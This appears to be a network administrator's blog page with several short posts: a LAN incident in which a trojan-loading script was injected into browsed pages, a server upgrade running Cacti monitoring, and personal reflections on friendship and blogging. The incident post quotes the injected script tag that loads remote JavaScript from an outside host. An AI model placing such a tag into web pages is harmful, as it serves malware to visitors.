Blog of a Networker

Yesterday, we found the culprit already, the one that make all of our IT Division Network slowed dramatically, even detik.com is faster than website on our local domain (LAN).

The Symptom is like this, when we browse on the internet, on every source in all web is added some script that make the user download the Trojan it self. its hard to differentiate the infected computer and clean computer because there is no difference in the view of the web. the script is look like this :

<script language=”javascript” SRC=”http://mx.content-type.cn:443/day.js”></script>

after some upgrade on the server, and now my blog is back up again. yeah its because the old server cant keep up with the cacti tools anymore (old server processor is only 500 MHz). now it powered with intel xeon (not sure about the speed this time)

Cacti is a network monitoring tool. it use SNMP (Simple Network Management Protocol) to get data on the server its monitor. it can make graph for the cpu, memory usage, or it can graph the internet usage on the server / client as long has SNMP activated. we use this tool a lot with our server at http://noc.binus-access.com/cacti/

well u can find more at http://www.cacti.net/ it u are interested in this tool. ill post more when i get more free time ^^

first i say sorry if this post offended some people, but this is what i feel right now, i don’t even get something when i helping people, but people sometimes push me to help his / her problem.

Its happen to me again today, when its happen, my chest ache and i feel so lonely. its not about love that make me like this, just problem between friends. when “some” (well “some” mean not all my friend like this of course, just few of people around me) people need me, they will desperate look and urge me to solve his/her problem, but when they not need me to solve his/her problem, they don’t even recall me in some event (forgotten already). so what mean of friend if they only look or talk when she/he need me ?

another thing happen today is my friend, roy, today message me in the yahoo messenger and give some nice suggestion for my blog.

first of all, he say, blog is not a tutorial, the content of the blog should contain about me, for example about new games that i play, or how slow my internet connection today, because the reader of the blog will understand more about me (then he say, maybe there is secret admirer that will read to know about me too )
